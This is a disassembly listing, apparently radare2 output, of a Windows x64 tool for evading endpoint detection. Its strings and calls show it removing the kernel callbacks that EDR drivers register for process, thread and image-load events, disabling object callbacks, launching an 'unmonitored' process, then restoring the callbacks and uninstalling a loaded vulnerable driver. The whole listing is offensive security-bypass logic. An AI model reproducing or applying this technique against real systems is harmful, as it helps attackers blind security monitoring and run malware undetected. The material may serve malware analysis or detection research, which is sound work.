test eax, eax
jne 0x1400039bc
lea rcx, str.___Process_is_NOT__safe__to_launch_our_payload__removing_monitoring_and_starting_another_process..._n
call fcn.140013f14
test ebx, ebx
je 0x140003583
mov ecx, dword [rsp + 0x54]
xor edx, edx
call fcn.140008100
lea rcx, [0x140031f38]
call fcn.140013f14
mov r14d, dword [rsp + 0x6c]
test r14d, r14d
je 0x1400035d0
lea rcx, str.___Removing_kernel_callbacks_registered_by_EDR_for_process_creation__thread_creation_and_image_loading...
call fcn.140013f14
mov r8d, r15d
mov rdx, r13
xor ecx, ecx
call fcn.140008a00
mov r8d, r15d
mov rdx, r13
mov ecx, r15d
call fcn.140008a00
mov r8d, r15d
mov rdx, r13
mov ecx, 2
call fcn.140008a00
lea rcx, [0x140031f38]
call fcn.140013f14
mov r12d, dword [rsp + 0x70]
test r12d, r12d
je 0x140003670
lea rcx, str.___Disabling_kernel_callbacks_registered_by_EDR_for_process_and_thread_opening_or_handle_duplication...
call fcn.140013f14
cmp qword [0x14004e228], 0
je 0x140003658
cmp qword [0x14004e230], 0
je 0x140003658
cmp qword [0x14004e238], 0
je 0x140003658
cmp qword [r13], 0
jbe 0x140003664
lea rbx, [r13 + 0x38]
cmp dword [rbx - 0x30], r15d
jne 0x140003649
cmp dword [rbx], 0
jne 0x140003649
mov r8, qword [rbx - 0x28]
lea rdx, str.Disabling
lea rcx, str.____ObjectCallblacks__t_s__s_callback..._n
call fcn.140001010
mov rcx, qword [rbx - 0x20]
xor edx, edx
call fcn.14000b300
xor eax, eax
cmp dword [rbx], eax
sete al
mov dword [rbx], eax
inc rdi
add rbx, 0x38
cmp rdi, qword [r13]
jb 0x140003613
jmp 0x140003664
lea rcx, str.Object_callback_offsets_not_loaded___Aborting...
call fcn.140013f14
lea rcx, [0x140031f38]
call fcn.140013f14
lea rcx, str.___All_EDR_drivers_were_successfully_removed_from_Kernel_callbacks__n_n_nStarting_a_new_unmonitored_process..._n_n
call fcn.140013f14
xorps xmm0, xmm0
mov dword [rbp - 0x30], 0x68
xor eax, eax
movups xmmword [rbp - 0x2c], xmm0
mov dword [rbp + 0x34], eax
movups xmmword [rbp - 0x1c], xmm0
mov qword [rbp - 0x70], rax
movups xmmword [rbp - 0xc], xmm0
movups xmmword [rbp + 4], xmm0
movups xmmword [rbp + 0x14], xmm0
movups xmmword [rbp + 0x24], xmm0
movups xmmword [rbp - 0x80], xmm0
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
mov rcx, qword [0x14004ca60]
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rax, [rbp - 0x80]
mov qword [0x14004ca60], rsi
mov qword [rsp + 0x48], rax
xor r9d, r9d
lea rax, [rbp - 0x30]
xor r8d, r8d
mov qword [rsp + 0x40], rax
mov rdx, rbx
xor eax, eax
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rax
mov dword [rsp + 0x28], eax
mov rax, qword [rbp - 0x50]
mov dword [rsp + 0x20], r15d
mov rcx, qword [rax]
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000372e
mov rcx, qword [rbp - 0x80]
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rbp - 0x80]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x14000373e
lea rcx, str.____An_error_occured_while_trying_to_create_a_new_process
call fcn.140013f14
mov dword [rbp - 0x48], r15d
lea rcx, [0x1400327a8]
call fcn.140013f14
cmp dword [rsp + 0x78], r15d
jne 0x140003840
test r14d, r14d
je 0x14000379c
lea rcx, str.___Restoring_EDRs_kernel_notify_routine_callbacks...
call fcn.140013f14
xor r8d, r8d
mov rdx, r13
xor ecx, ecx
call fcn.140008a00
xor r8d, r8d
mov rdx, r13
mov ecx, r15d
call fcn.140008a00
xor r8d, r8d
mov rdx, r13
lea ecx, [r8 + 2]
call fcn.140008a00
lea rcx, [0x140031f38]
call fcn.140013f14
test r12d, r12d
je 0x140003840
lea rcx, str.___Restoring_EDRs_kernel_object_callbacks...
call fcn.140013f14
cmp qword [0x14004e228], 0
je 0x140003828
cmp qword [0x14004e230], 0
je 0x140003828
cmp qword [0x14004e238], 0
je 0x140003828
xor r14d, r14d
mov edi, r14d
cmp qword [r13], r14
jbe 0x140003834
lea rbx, [r13 + 0x38]
nop
cmp dword [rbx - 0x30], r15d
jne 0x140003819
cmp dword [rbx], r15d
jne 0x140003819
mov r8, qword [rbx - 0x28]
lea rdx, str.Enabling
lea rcx, str.____ObjectCallblacks__t_s__s_callback..._n
call fcn.140001010
mov rcx, qword [rbx - 0x20]
mov edx, r15d
call fcn.14000b300
cmp dword [rbx], r14d
mov eax, r14d
sete al
mov dword [rbx], eax
inc rdi
add rbx, 0x38
cmp rdi, qword [r13]
jb 0x1400037e0
jmp 0x140003834
lea rcx, str.Object_callback_offsets_not_loaded___Aborting...
call fcn.140013f14
lea rcx, [0x140031f38]
call fcn.140013f14
cmp dword [rsp + 0x58], 0
je 0x14000385f
mov ecx, dword [rsp + 0x54]
mov edx, r15d
call fcn.140008100
lea rcx, [0x140031f38]
call fcn.140013f14
test r13, r13
je 0x14000386c
mov rcx, r13
call fcn.140013e2c
mov r13d, dword [rsp + 0x50]
test r13d, r13d
je 0x140003918
cmp dword [rsp + 0x60], 0
je 0x140003918
lea rcx, str.___Uninstalling_vulnerable_driver...
call fcn.140013f14
mov rcx, qword [0x14004ca60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [0x14004ca60], rsi
call fcn.140003a90
test eax, eax
jne 0x14000390c
lea rcx, str.____An_error_occured_while_attempting_to_uninstall_the_vulnerable_driver
call fcn.140013f14
mov rbx, qword [0x140050200]
test rbx, rbx
je 0x1400038d5
inc rsi
cmp word [rbx + rsi*2], 0
jne 0x1400038c6
test rsi, rsi
jne 0x140003900
mov edx, 2
lea ecx, [rdx + 7]
call fcn.14000ef50
mov rbx, rax
test rax, rax
jne 0x1400038ec
jmp 0x1400038f9
mov edx, 8
mov rcx, rax
call fcn.140009780
mov qword [0x140050200], rbx
mov rdx, rbx
lea rcx, str.___The_service_should_be_manually_deleted:_cmd__c_sc_delete__s_n
jmp 0x140003948
lea rcx, str.___The_vulnerable_driver_was_successfully_uninstalled_
call fcn.140013f14
mov r15d, dword [rbp - 0x48]
jmp 0x14000394d
lea rcx, [rbp + 0x1e90]
call fcn.140013f14
lea rcx, [rbp + 0x3300]
call fcn.140013f14
xor eax, eax
jmp 0x140003950
lea rdx, [rbp + 0x1e90]
lea rcx, [0x1400314fc]
call fcn.140001010
mov eax, r15d
mov r14, qword [rsp + 0x61a0]
mov r13, qword [rsp + 0x61e8]
mov r12, qword [rsp + 0x61e0]
mov rdi, qword [rsp + 0x61d0]
mov rcx, qword [rbp + 0x6090]
xor rcx, rsp
call fcn.14000cb50
add rsp, 0x61a8
pop r15
pop rsi
pop rbx
pop rbp
ret
mov rdx, rdi
lea rcx, str.Non_canonical_address_used:_0x_016llx_nAborting_to_avoid_a_BSOD..._n
call fcn.140001010
mov ecx, r15d
call fcn.14000ef44
int3
mov rdx, rdi
lea rcx, str.Userland_address_used:_0x_016llx_nThis_should_not_happen__aborting..._n
call fcn.140001010
mov ecx, r15d
call fcn.14000ef44
int3
lea rcx, str.Something_failed__cannot_perform_safely_execute_payload._Aborting..._n
call fcn.140001010
mov ecx, r15d
call fcn.14000ef44
int3